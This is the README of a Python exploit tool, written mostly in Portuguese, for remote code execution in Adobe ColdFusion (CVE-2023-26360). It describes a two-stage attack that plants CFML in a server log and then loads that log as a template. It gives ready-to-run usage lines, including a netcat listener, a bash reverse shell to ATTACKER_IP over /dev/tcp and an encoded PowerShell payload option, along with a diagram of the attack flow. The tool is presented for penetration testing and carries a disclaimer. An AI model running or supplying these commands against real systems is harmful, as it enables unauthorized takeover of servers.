
This exploit is based on CVE-2023-26360 (https://nvd.nist.gov/vuln/detail/CVE-2023-26360) and was built on top of the Metasploit module and the jakabakos/CVE-2023-26360-adobe-coldfusion-rce-exploit.
Implementação em Python do exploit de execução remota de código para o CVE-2023-26360, baseada na análise do módulo Metasploit original e no trabalho anterior de jakabakos.
O PoC do jakabakos tenta injetar <cfexecute> diretamente no parâmetro _variables e ler a saída do log do ColdFusion em uma única etapa. Essa abordagem falha porque o ColdFusion não avalia tags CFML inline nesse contexto, resultando em um erro 500 sem execução de código.
Esta implementação replica o mecanismo correto de duas etapas usado pelo módulo Metasploit:
_variables malformado ({<cftry>CFML</cftry>) para o endpoint CFC vulnerável. O ColdFusion falha ao analisá-lo e escreve o conteúdo bruto — incluindo o código CFML — em coldfusion-out.log.A execução de comandos é realizada via java.lang.Runtime.exec() através de createObject, evitando qualquer dependência de <cfexecute>, que normalmente é desabilitado em ambientes reforçados ou de produção.
pip install -r requirements.txt
Inicie um listener antes de executar o exploit:
nc -lvnp 4444
Alvo Windows:
python exploit.py --host http://TARGET:8500 --win --cmd "powershell -e <BASE64_PAYLOAD>"
Alvo Linux:
python exploit.py --host http://TARGET:8500 --cmd "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Através de um proxy (ex.: Burp Suite):
python exploit.py --host http://TARGET:8500 --win --cmd "whoami" --proxy http://127.0.0.1:8080
| Flag | Descrição |
|---|---|
--host |
┌─────────────┐ Step 1: plant CFML ┌──────────────────┐
│ Attacker │ ──── POST /_variables={<cftry>... ──► iedit.cfc │
│ │ CF fails to parse, logs CFML │ │
│ │ │ coldfusion- │
│ │ Step 2: trigger execution │ out.log │
│ │ ──── POST classname=X..\logs\cf... ──► (loaded as │
│ │ │ CFML template) │
│ Listener │ ◄─────────────── reverse shell ───────│ │
└─────────────┘ └──────────────────┘
Esta ferramenta é fornecida apenas para fins educacionais e avaliações de segurança autorizadas (testes de penetração, CTFs, ambientes de laboratório). Executar este exploit contra sistemas sem permissão explícita por escrito é ilegal. O autor não assume nenhuma responsabilidade por qualquer uso indevido.
URL base do alvo (ex.: http://192.168.1.10:8500) |
--cmd | Comando a executar no alvo |
--win | Defina esta flag se o alvo for um host Windows |
--proxy | URL opcional do proxy HTTP |